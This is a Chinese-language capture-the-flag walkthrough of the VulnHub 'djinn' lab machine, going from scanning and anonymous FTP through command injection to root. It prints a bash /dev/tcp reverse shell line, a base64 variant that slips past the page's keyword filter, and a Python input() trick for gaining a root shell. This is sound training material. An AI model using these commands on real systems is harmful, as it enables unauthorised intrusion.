一、测试环境:
kail攻击机:Get Kali | Kali Linux
靶场镜像:https://download.vulnhub.com/djinn/djinn.ova
描述: 该机器与 VirtualBox 和 VMWare 兼容。DHCP 将自动分配一个 IP。您将在登录屏幕上看到 IP。您必须找到并读取分别存在于 user.txt 和 root.txt 中的两个标志(user 和 root)。
二、测试过程
1、端口扫描
靶机开机给出目标地址,使用nmap进行端口扫描,tcp和udp都扫一下,多扫两边
扫描已找到的端口服务版本信息等
nmap漏洞脚本扫描端口服务,没什么有效信息
2、服务漏洞查找
a、FTP服务匿名访问
尝试允许匿名访问,下载文件
查看文件,creds.txt中有一个nitu:81299,账号密码?先保留。
game.txt文件中提到1337端口有一个游戏,通过最后一关会有奖品,保留信息。
message.txt文件中提到@nitish81299,后面没啥用,和第一个文件中有重复,没明白。
b、1337端口数字游戏
先看看1337端口是个数字游戏,需要回答1000次才能通过(实际回答了1001次),自己不会写,用AI写了个python脚本跑一下。
python脚本如下:
import telnetlib import re # 目标服务器的IP和端口 host = "192.168.229.151" port = 1337 # 建立Telnet连接 tn = telnetlib.Telnet(host, port) # 用于匹配运算表达式的正则表达式 pattern = re.compile(r'\((\d+), \'([+\-*/])\', (\d+)\)') count = 0 while count < 1002: data = tn.read_until(b'>').decode('utf-8') print(data) match = pattern.search(data) if match: num1 = int(match.group(1)) operator = match.group(2) num2 = int(match.group(3)) result = None if operator == '+': result = num1 + num2 elif operator == '-': result = num1 - num2 elif operator == '*': result = num1 * num2 elif operator == '/': result = num1 // num2 tn.write(f"{result}\n".encode('utf-8')) count += 1 tn.close()
跑完发现三个数组,可能是端口号,尝试telnet发现不同通,网上看贴子博主说是knock:
端口敲门是一种通过按照特定顺序向服务器的一系列端口发送连接请求(通常是 TCP 或 UDP 数据包)来触发某种动作(如开放特定隐藏服务端口、允许访问等)的技术。其目的在于增加服务器安全性,让服务对于未按特定敲门序列进行访问尝试的外部连接保持隐匿状态,只有知道正确敲门序列的客户端才能最终获得所需服务的访问权限。
那就使用kali自带的knock工具敲一下端口,然后telnet 22果然通了,目前没账号密码,爆破也没用,先放着
c、7331端口WEB服务
端口扫描看到7331端口为http,访问到一个界面,没找到什么有效信息
对网站目录扫描
dirsearch目录扫描,默认没扫出来,使用dirbuster字典扫到两个路径
dirsearch -u http://192.168.229.151:7331 -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
3、获取低权限shell
访问/wish页面,看到一个类似可执行的输入框,尝试能否执行命令
查看源码,存在命令执行,且有回显,可以尝试反弹shell
生成一个反弹shell,写入对话框,kali机监听8080端口,web页面执行反弹shell,查看源码发现回显报错“Wrong choice of words”,提示单词错误,可能有过滤,使用base64编码测试成功
原反弹shell:
bash -i >& /dev/tcp/192.168.229.152/8080 0>&1
base64编码后,做解码的反弹shell:
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyOS4xNTIvODA4MCAwPiYx|base64 -d |bash
获取shell之后要做的第一件事是获取一个tty,因为在执行有些命令发现提示“su: must be run from a terminal”
python获取tty
python -c 'import pty;pty.spawn("/bin/bash")'
发现当前目录下有两个文件夹,三个文件,寻找有效信息,打开app.py发现是做了过滤操作,且有一个/home/nitish/.dev/creds.txt文件也被过滤,先留着
找到一个user.txt,但是权限不够,没看到root.txt,估计只有root权限才能看到
那就再看看/home/nitish/.dev/creds.txt文件
似乎是一组账户密码,直接su过去试试,可以登录
切换当前用户目录,查看第一个flag
4、权限提升
使用sudo -l查看,发现sam用户执行genie命令不需要密码
查看genie命令使用方法,-h查看用法不全,使用man命令查看说明
发现共有五个选项可使用,-p "/bin/sh"没用
-cmd选项可以直接进入sam用户权限
再次使用sudo -l 命令查看有一个/root/lago命令,sudo -u root /root/lago需要sam密码,sudo /root/lago可以使用,进入四个选项都没找到有效信息
无果后,使用find查找可写入文件
find / -writable -type f 2>/dev/null
发现一个python编译后的文件,导出反编译查看代码发现回答第二个问题时输入变量名num,将执行/bin/sh
反编译结果:
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 2.7from getpass import getuser
from os import system
from random import randintdef naughtyboi():
print 'Working on it!! '
def guessit():
num = randint(1, 101)
print 'Choose a number between 1 to 100: '
s = input('Enter your number: ')
if s == num:
system('/bin/sh')
else:
print 'Better Luck next time'
def readfiles():
user = getuser()
path = input('Enter the full of the file to read: ')
print 'User %s is not allowed to read %s' % (user, path)
def options():
print 'What do you want to do ?'
print '1 - Be naughty'
print '2 - Guess the number'
print '3 - Read some damn files'
print '4 - Work'
choice = int(input('Enter your choice: '))
return choice
def main(op):
if op == 1:
naughtyboi()
elif op == 2:
guessit()
elif op == 3:
readfiles()
elif op == 4:
print 'work your ass off!!'
else:
print 'Do something better with your life'if __name__ == '__main__':
main(options())
再次使用sudo /root/lago,进入第二个问题,输入num进入root权限,使用find查找root.txt没找到,进入root目录下看到proof.sh可执行文件,查看或者执行拿到最后的flag